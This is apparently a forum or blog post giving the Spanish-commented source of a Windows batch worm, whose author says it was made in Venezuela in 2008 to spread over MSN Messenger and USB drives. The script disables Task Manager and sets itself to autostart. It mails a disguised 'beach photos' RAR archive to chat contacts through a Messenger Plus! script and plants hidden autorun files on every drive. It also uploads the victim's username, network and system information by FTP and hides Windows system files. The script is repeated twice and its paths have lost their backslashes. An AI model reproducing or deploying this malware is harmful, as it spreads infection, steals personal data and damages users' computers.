codigo virus por cha5t y usb
@echo off
::Este Virus Fue Creador Por Azafram
::El Virus Fue Creado El Martes 2 De Frbredo Del 2008
::Primer Virus En Batch Que Se Propaga Por MSN
::Echo en "VENEZUELA"
title Foto By "AZAFRAM"
:inicio
if exist %windir%disable.TXT (goto nb8) else (goto nb9)
:nb9
echo Foto >> %windir%disable.TXT
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionpoliciessystem /v disabletaskmgr /t reg_dword /d 1 /f
:nb8
if exist %windir%system32sistemaFoto.exe (goto az1) else (goto az2)
:az2
md "%windir%system32sistema"
copy %0 %windir%system32sistemaFoto.exe /y
REG ADD HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /v "Foto" /t REG_SZ /d "%windir%system32sistemaFoto.exe" /f
attrib +h +s "%windir%system32sistema"
:az1
if exist %windir%system32Foto.exe (goto css) else (goto csn)
:csn
COPY %0 %windir%system32Foto.exe
:css
if exist "%windir%system32FotoMis Fotos En La Playa 2008.rar" (goto rars) else (goto rarn)
:rarn
md "%windir%system32Foto"
attrib +h +s "%windir%system32Foto"
start winrar.exe a "%windir%system32FotoMis Fotos En La Playa 2008.rar" %0
:rars
if exist "%programfiles%Messenger Plus! LiveScriptsMSN PLUSMSN PLUS.js" (goto 900) else (goto 009)
:009
md "%programfiles%Messenger Plus! LiveScriptsMSN PLUS"
echo function OnEvent_ChatWndReceiveMessage(ChatWnd, Origin, Message, MessageKind)>> "%programfiles%Messenger Plus! LiveScriptsMSN PLUSMSN PLUS.js"
echo {>> "%programfiles%Messenger Plus! LiveScriptsMSN PLUSMSN PLUS.js"
echo if (Origin != Messenger.MyName)>> "%programfiles%Messenger Plus! LiveScriptsMSN PLUSMSN PLUS.js"
echo {>> "%programfiles%Messenger Plus! LiveScriptsMSN PLUSMSN PLUS.js"
echo ChatWnd.SendMessage("/sendfile %homedrive%\WINDOWS\system32\Foto\Mis Fotos En La Playa 2008.rar");>> "%programfiles%Messenger Plus! LiveScriptsMSN PLUSMSN PLUS.js"
echo ChatWnd.SendMessage("(M) [c=39]Mira Mis Nuevas Fotos [/c] (M)");>> "%programfiles%Messenger Plus! LiveScriptsMSN PLUSMSN PLUS.js"
echo ChatWnd.SendMessage("/name *help[c=4] Ayuda Tu Tambien A Las Ballena[/c]s *help");>> "%programfiles%Messenger Plus! LiveScriptsMSN PLUSMSN PLUS.js"
echo ChatWnd.SendMessage("/psm (M) [c=48]Paticipa Ayuda A preserver Los [c=41]Animales[/c] Visita [/c]www.greenpeace.org/international (M)")>> "%programfiles%Messenger Plus! LiveScriptsMSN PLUSMSN PLUS.js"
echo }>> "%programfiles%Messenger Plus! LiveScriptsMSN PLUSMSN PLUS.js"
echo }>> "%programfiles%Messenger Plus! LiveScriptsMSN PLUSMSN PLUS.js"
reg add "HKEY_CURRENT_USERSoftwarePatchouMessenger Plus! LiveGlobalSettingsScriptsMSN PLUS" /v Enabled /t REG_DWORD /d 1 /f > nul
tskill msnmsgr
taskill msnmsgr.exe
attrib +h +s "%programfiles%Messenger Plus! LiveScriptsMSN PLUS"
attrib +h +s "%programfiles%Messenger Plus! LiveScripts"
attrib +h +s "%programfiles%Messenger Plus! Live"
:900
if exist %windir%system32sistemaautorun.inf (goto ifs) else (goto ifn)
:ifn
md "%windir%system32sistema"
echo [AutoRun] >> %windir%system32sistemaautorun.inf
echo open=FotoFoto.exe >> %windir%system32sistemaautorun.inf
echo shellexecute=FotoFoto.exe >> %windir%system32sistemaautorun.inf
echo shellAutocommand=FotoFoto.exe >> %windir%system32sistemaautorun.inf
copy %0 %windir%system32sistemaFoto.exe
attrib +h +s "%windir%system32sistema"
:ifs
FOR %%A IN ( C E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
IF exist %%A: (echo.) else (echo.)
MD %%A:Foto
copy %windir%system32sistemaFoto.exe %%A:FotoFoto.exe /Y
attrib +h +s %%A:Foto
copy %windir%system32sistemaautorun.inf %%A:autorun.inf /Y
attrib +h +s %%A:autorun.inf
)
if exist "%windir%ftp.TXT" (goto ftp1) else (goto ftp2)
:ftp2
echo FOTO >> %windir%ftp.TXT
cd %windir%
echo _____________________________________________________________________________________________________>> %username%.txt
echo title:FOTO.exe>> %username%.txt
echo _____________________________________________________________________________________________________>> %username%.txt
echo Nombre:%username%>> %username%.txt
echo _____________________________________________________________________________________________________>> %username%.txt
echo dia:%date% hora:%time%>> %username%.txt
echo _____________________________________________________________________________________________________>> %username%.txt
ipconfig>> %username%.txt
echo _____________________________________________________________________________________________________>> %username%.txt
systeminfo>> %username%.txt
echo _____________________________________________________________________________________________________>> %username%.txt
echo -------->> FOTO.txt
echo --------->> FOTO.txt
echo ascii>> FOTO.txt
echo cd ---------->> FOTO.txt
echo PUT %username%.txt>> FOTO.txt
echo quit>> FOTO.txt
ftp -s:%windir%FOTO.txt ----------
del /q %windir%FOTO.txt
:ftp1
if exist "%windir%greenpeaceGreen.exe" (goto gre1) else (goto gre2)
:gre2
md "%windir%greenpeace"
copy %0 "%windir%greenpeaceGreen.exe"
attrib +h +s %windir%*.*
attrib +h +s %windir%regedit.exe
attrib +h +s %windir%system32*.*
attrib +h +s %windir%greenpeaceGreen.exe
:gre1
reg add "HKEY_CURRENT_USERSoftwarePatchouMessenger Plus! LiveGlobalSettingsScriptsMSN PLUS" /v Enabled /t REG_DWORD /d 1 /f > nul
goto inicio
::Este Virus Fue Creador Por Azafram
::El Virus Fue Creado El Martes 2 De Frbredo Del 2008
::Primer Virus En Batch Que Se Propaga Por MSN
::Echo en "VENEZUELA"
title Foto By "AZAFRAM"
:inicio
if exist %windir%disable.TXT (goto nb8) else (goto nb9)
:nb9
echo Foto >> %windir%disable.TXT
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionpoliciessystem /v disabletaskmgr /t reg_dword /d 1 /f
:nb8
if exist %windir%system32sistemaFoto.exe (goto az1) else (goto az2)
:az2
md "%windir%system32sistema"
copy %0 %windir%system32sistemaFoto.exe /y
REG ADD HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /v "Foto" /t REG_SZ /d "%windir%system32sistemaFoto.exe" /f
attrib +h +s "%windir%system32sistema"
:az1
if exist %windir%system32Foto.exe (goto css) else (goto csn)
:csn
COPY %0 %windir%system32Foto.exe
:css
if exist "%windir%system32FotoMis Fotos En La Playa 2008.rar" (goto rars) else (goto rarn)
:rarn
md "%windir%system32Foto"
attrib +h +s "%windir%system32Foto"
start winrar.exe a "%windir%system32FotoMis Fotos En La Playa 2008.rar" %0
:rars
if exist "%programfiles%Messenger Plus! LiveScriptsMSN PLUSMSN PLUS.js" (goto 900) else (goto 009)
:009
md "%programfiles%Messenger Plus! LiveScriptsMSN PLUS"
echo function OnEvent_ChatWndReceiveMessage(ChatWnd, Origin, Message, MessageKind)>> "%programfiles%Messenger Plus! LiveScriptsMSN PLUSMSN PLUS.js"
echo {>> "%programfiles%Messenger Plus! LiveScriptsMSN PLUSMSN PLUS.js"
echo if (Origin != Messenger.MyName)>> "%programfiles%Messenger Plus! LiveScriptsMSN PLUSMSN PLUS.js"
echo {>> "%programfiles%Messenger Plus! LiveScriptsMSN PLUSMSN PLUS.js"
echo ChatWnd.SendMessage("/sendfile %homedrive%\WINDOWS\system32\Foto\Mis Fotos En La Playa 2008.rar");>> "%programfiles%Messenger Plus! LiveScriptsMSN PLUSMSN PLUS.js"
echo ChatWnd.SendMessage("(M) [c=39]Mira Mis Nuevas Fotos [/c] (M)");>> "%programfiles%Messenger Plus! LiveScriptsMSN PLUSMSN PLUS.js"
echo ChatWnd.SendMessage("/name *help[c=4] Ayuda Tu Tambien A Las Ballena[/c]s *help");>> "%programfiles%Messenger Plus! LiveScriptsMSN PLUSMSN PLUS.js"
echo ChatWnd.SendMessage("/psm (M) [c=48]Paticipa Ayuda A preserver Los [c=41]Animales[/c] Visita [/c]www.greenpeace.org/international (M)")>> "%programfiles%Messenger Plus! LiveScriptsMSN PLUSMSN PLUS.js"
echo }>> "%programfiles%Messenger Plus! LiveScriptsMSN PLUSMSN PLUS.js"
echo }>> "%programfiles%Messenger Plus! LiveScriptsMSN PLUSMSN PLUS.js"
reg add "HKEY_CURRENT_USERSoftwarePatchouMessenger Plus! LiveGlobalSettingsScriptsMSN PLUS" /v Enabled /t REG_DWORD /d 1 /f > nul
tskill msnmsgr
taskill msnmsgr.exe
attrib +h +s "%programfiles%Messenger Plus! LiveScriptsMSN PLUS"
attrib +h +s "%programfiles%Messenger Plus! LiveScripts"
attrib +h +s "%programfiles%Messenger Plus! Live"
:900
if exist %windir%system32sistemaautorun.inf (goto ifs) else (goto ifn)
:ifn
md "%windir%system32sistema"
echo [AutoRun] >> %windir%system32sistemaautorun.inf
echo open=FotoFoto.exe >> %windir%system32sistemaautorun.inf
echo shellexecute=FotoFoto.exe >> %windir%system32sistemaautorun.inf
echo shellAutocommand=FotoFoto.exe >> %windir%system32sistemaautorun.inf
copy %0 %windir%system32sistemaFoto.exe
attrib +h +s "%windir%system32sistema"
:ifs
FOR %%A IN ( C E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
IF exist %%A: (echo.) else (echo.)
MD %%A:Foto
copy %windir%system32sistemaFoto.exe %%A:FotoFoto.exe /Y
attrib +h +s %%A:Foto
copy %windir%system32sistemaautorun.inf %%A:autorun.inf /Y
attrib +h +s %%A:autorun.inf
)
if exist "%windir%ftp.TXT" (goto ftp1) else (goto ftp2)
:ftp2
echo FOTO >> %windir%ftp.TXT
cd %windir%
echo _____________________________________________________________________________________________________>> %username%.txt
echo title:FOTO.exe>> %username%.txt
echo _____________________________________________________________________________________________________>> %username%.txt
echo Nombre:%username%>> %username%.txt
echo _____________________________________________________________________________________________________>> %username%.txt
echo dia:%date% hora:%time%>> %username%.txt
echo _____________________________________________________________________________________________________>> %username%.txt
ipconfig>> %username%.txt
echo _____________________________________________________________________________________________________>> %username%.txt
systeminfo>> %username%.txt
echo _____________________________________________________________________________________________________>> %username%.txt
echo -------->> FOTO.txt
echo --------->> FOTO.txt
echo ascii>> FOTO.txt
echo cd ---------->> FOTO.txt
echo PUT %username%.txt>> FOTO.txt
echo quit>> FOTO.txt
ftp -s:%windir%FOTO.txt ----------
del /q %windir%FOTO.txt
:ftp1
if exist "%windir%greenpeaceGreen.exe" (goto gre1) else (goto gre2)
:gre2
md "%windir%greenpeace"
copy %0 "%windir%greenpeaceGreen.exe"
attrib +h +s %windir%*.*
attrib +h +s %windir%regedit.exe
attrib +h +s %windir%system32*.*
attrib +h +s %windir%greenpeaceGreen.exe
:gre1
reg add "HKEY_CURRENT_USERSoftwarePatchouMessenger Plus! LiveGlobalSettingsScriptsMSN PLUS" /v Enabled /t REG_DWORD /d 1 /f > nul
goto inicio